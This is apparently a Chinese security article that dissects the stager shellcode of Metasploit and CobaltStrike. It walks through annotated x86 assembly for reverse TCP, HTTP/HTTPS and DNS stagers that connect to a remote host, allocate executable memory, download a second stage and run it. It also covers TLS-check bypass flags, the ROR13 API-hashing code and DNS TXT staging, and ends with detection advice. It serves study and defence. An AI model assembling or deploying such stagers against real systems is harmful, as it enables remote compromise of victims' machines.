Metasploit & CobaltStrike 的shellcode分析
字数 1447 2025-08-24 10:10:13
Metasploit & CobaltStrike Shellcode 深度分析
1. 概述
本文详细分析 Metasploit 和 CobaltStrike 框架生成的 shellcode 实现机制,重点解析 Reverse TCP、Reverse HTTP/HTTPS 和 Reverse DNS 三种常见 payload 的工作原理。
2. Metasploit Shellcode 分析
2.1 基本结构
Metasploit shellcode 通常采用以下基本结构:
cld ; 清除方向标志
call start ; 调用start,将api_call地址压入栈
#{asm_block_api} ; API调用功能块
start:
pop ebp ; 获取api_call地址
#{asm_reverse_tcp} ; 反向TCP连接代码
#{asm_block_recv} ; 接收第二阶段代码
2.2 Reverse TCP 实现
2.2.1 初始化阶段
- 加载 ws2_32.dll:
push 'ws2_32' ; 压入"ws2_32"字符串
push esp ; 字符串指针
push LoadLibraryA_hash
call ebp ; LoadLibraryA("ws2_32")
- 初始化 Winsock:
mov eax, 0x0190 ; sizeof(struct WSAData)
sub esp, eax ; 分配WSAData空间
push esp ; WSAData指针
push eax ; wVersionRequested
push WSAStartup_hash
call ebp ; WSAStartup(0x0190, &WSAData)
2.2.2 创建Socket
push encoded_host ; 目标主机IP
push encoded_port ; 端口和AF_INET
mov esi, esp ; 保存sockaddr指针
push 0 ; flags
push 0 ; reserved
push 0 ; 不指定协议
inc eax
push eax ; SOCK_STREAM
inc eax
push eax ; AF_INET
push WSASocketA_hash
call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0)
xchg edi, eax ; 保存socket句柄
2.2.3 连接目标
push 16 ; sockaddr结构长度
push esi ; sockaddr指针
push edi ; socket
push connect_hash
call ebp ; connect(s, &sockaddr, 16)
test eax,eax ; 测试连接是否成功
jz connected ; 成功则跳转
2.2.4 接收第二阶段
- 接收大小信息:
push 0 ; flags
push 4 ; 接收4字节长度
push esi ; 缓冲区
push edi ; socket
push recv_hash
call ebp ; recv(s, &dwLength, 4, 0)
- 分配内存:
mov esi, [esi] ; 获取第二阶段长度
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; 长度
push 0 ; NULL
push VirtualAlloc_hash
call ebp ; VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
xchg ebx, eax ; 保存分配的内存地址
- 接收数据:
read_more:
push 0 ; flags
push esi ; 剩余长度
push ebx ; 当前缓冲区位置
push edi ; socket
push recv_hash
call ebp ; recv(s, buffer, length, 0)
add ebx, eax ; 调整缓冲区位置
sub esi, eax ; 减少剩余长度
jnz read_more ; 继续接收直到完成
ret ; 跳转到第二阶段执行
2.3 Reverse HTTP/HTTPS 实现
2.3.1 初始化阶段
- 加载 wininet.dll:
push 'wininet' ; 压入"wininet"字符串
push esp ; 字符串指针
push LoadLibraryA_hash
call ebp ; LoadLibraryA("wininet")
- InternetOpenA:
push 0 ; dwFlags
push 0 ; lpszProxyBypass
push 0 ; lpszProxyName
push 0 ; dwAccessType (PRECONFIG)
push 0 ; lpszAgent (NULL)
push InternetOpenA_hash
call ebp ; InternetOpenA(NULL, 0, NULL, NULL, 0)
2.3.2 建立连接
push 0 ; dwContext
push 0 ; dwFlags
push 3 ; INTERNET_SERVICE_HTTP
push 0 ; password
push 0 ; username
push port ; 端口
push server_host ; 主机名
push eax ; hInternet
push InternetConnectA_hash
call ebp ; InternetConnectA(hInternet, server_host, port, NULL, NULL, 3, NULL, NULL)
mov esi, eax ; 保存hConnection
2.3.3 创建HTTP请求
push 0 ; dwContext
push http_flags ; dwFlags
push 0 ; accept types
push 0 ; referrer
push 0 ; version
push server_uri ; URI
push 0 ; method
push esi ; hConnection
push HttpOpenRequestA_hash
call ebp ; HttpOpenRequestA(hConnection, NULL, server_uri, NULL, NULL, NULL, dwFlags, NULL)
xchg esi, eax ; 保存hHttpRequest
2.3.4 发送请求
push 0 ; lpOptional length
push 0 ; lpOptional
push -1 ; dwHeadersLength
push headers ; lpszHeaders
push esi ; hHttpRequest
push HttpSendRequestA_hash
call ebp ; HttpSendRequestA(hRequest, headers, -1, NULL, 0)
test eax,eax ; 测试是否成功
jnz allocate_memory ; 成功则跳转
2.3.5 接收第二阶段
- 分配内存:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; 4MB空间
push 0 ; NULL
push VirtualAlloc_hash
call ebp ; VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
- 下载数据:
xchg ebx, eax ; 保存分配的内存地址
push ebx ; 保存地址用于后续ret
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 0x2000 ; 读取长度
push ebx ; 缓冲区
push esi ; hRequest
push InternetReadFile_hash
call ebp ; InternetReadFile(hRequest, buffer, 0x2000, &bytesRead)
add ebx, [edi] ; 调整缓冲区位置
test eax,eax ; 测试是否成功
jnz download_more ; 继续下载
ret ; 跳转到第二阶段执行
2.3.6 HTTPS 特殊处理
HTTPS 与 HTTP 的主要区别在于需要设置安全选项:
push 0x3380 ; SECURITY_FLAG_IGNORE_* 组合
mov eax, esp
push 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push 31 ; INTERNET_OPTION_SECURITY_FLAGS
push esi ; hHttpRequest
push InternetSetOptionA_hash
call ebp ; InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, 4)
3. CobaltStrike Shellcode 分析
3.1 Reverse HTTP/HTTPS
CobaltStrike 的 shellcode 结构与 Metasploit 类似,但有以下区别:
- HTTP 标志不同:
push 0x84400200 ; HTTP标志 (非SSL)
push 0x84C03200 ; HTTPS标志 (SSL)
- 额外调用 InternetErrorDlg:
push GetDesktopWindow_hash
call ebp ; GetDesktopWindow()
push 0 ; lppvData
push 7 ; dwFlags
push 0xFFFFE000 ; dwError
push esi ; hRequest
push eax ; hWnd
push InternetErrorDlg_hash
call ebp ; InternetErrorDlg(hWnd, hRequest, dwError, dwFlags, lppvData)
- User-Agent 不同:
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
3.2 Reverse DNS 实现
3.2.1 初始化阶段
- 分配内存:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x7FFFF ; 512KB空间
push 0 ; NULL
push VirtualAlloc_hash
call ebp ; VirtualAlloc(NULL, 0x7FFFF, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
add eax, 0x40 ; 调整地址
mov edi, eax ; 保存地址
push eax ; 保存用于后续ret
- 加载 dnsapi.dll:
push 'dnsapi' ; 压入"dnsapi"字符串
push esp ; 字符串指针
push LoadLibraryA_hash
call ebp ; LoadLibraryA("dnsapi")
3.2.2 DNS 查询
push esp ; 保存栈指针
pop ebx
sub ebx, 4 ; 调整指针
push ebx ; ppQueryResults
push 0 ; pReserved
push ebx ; pExtra
push 0x248 ; Options
push 0x10 ; wType (TXT记录)
push eax ; pszName (DNS名称)
push DnsQuery_A_hash
call ebp ; DnsQuery_A(dnsName, 0x10, 0x248, 0, ppQueryResults, 0)
3.2.3 处理查询结果
- 检查结果:
test eax,eax ; 测试是否成功
jnz sleep_retry ; 失败则重试
- 解析数据:
mov edi, [ebx] ; 获取DNS_RECORD
mov edi, [edi+0x10] ; 获取TXT记录数据
add edi, 0xFF ; 跳过前0xFF字节
- 获取数据长度:
push edi
push 0xCC8E00F4h ; lstrlenA哈希
call ebp ; lstrlenA(edi)
cmp eax, 0xFF ; 检查长度
jl execute_stage ; 如果小于0xFF则执行
3.2.4 执行阶段
execute_stage:
jmp edi ; 跳转到stage执行
3.2.5 重试机制
sleep_retry:
push 0x13E8 ; 5000毫秒
push Sleep_hash
call ebp ; Sleep(5000)
jmp dns_query ; 重新尝试查询
4. 关键技术与技巧
4.1 API 哈希定位技术
Metasploit 和 CobaltStrike 都使用哈希值而非函数名来定位API,避免字符串暴露。哈希算法为:
def ror_13(now):
return ((now >> 13) | (now << (32-13))) & 0xFFFFFFFF
def hash_dll(dllName):
hsValue = 0
for c in dllName.upper():
hsValue = ror_13(hsValue) + ord(c)
return hsValue
def hash_api(apiName):
hsValue = 0
for c in apiName:
hsValue = ror_13(hsValue) + ord(c)
hsValue = ror_13(hsValue)
return hsValue
def hash_dll_api(dllName, apiName):
return (hash_dll(dllName) + hash_api(apiName)) & 0xFFFFFFFF
4.2 字符串嵌入技巧
通过 call+pop 方式嵌入字符串并获取指针:
call get_string
db "string content",0
get_string:
pop eax ; eax现在指向字符串
4.3 反射 DLL 加载技术
Metasploit 使用反射 DLL 技术,直接将 DLL 加载到内存中执行,无需落地文件。
4.4 DNS 隧道技术
CobaltStrike 的 DNS payload 使用 TXT 记录传输数据,数据通常以以下格式传输:
[随机前缀].stage.[会话ID].ns1.[域名]
数据存储在 TXT 记录中,前 0xFF 字节为填充,后面是实际的 stage 数据。
5. 防御建议
-
网络层防御:
- 监控异常 DNS 查询模式
- 限制出站连接,特别是到可疑 IP 的 HTTP/HTTPS 连接
- 检测异常的 User-Agent 字符串
-
主机层防御:
- 监控进程的异常内存分配 (PAGE_EXECUTE_READWRITE)
- 检测调用敏感 API 序列 (LoadLibraryA -> VirtualAlloc -> InternetReadFile)
- 使用 EDR 解决方案检测 shellcode 行为
-
应用层防御:
- 保持软件更新,修补已知漏洞
- 限制应用程序的网络访问权限
- 使用代码签名验证加载的 DLL
通过深入理解这些 shellcode 的工作原理,安全团队可以更好地检测和防御相关的攻击行为。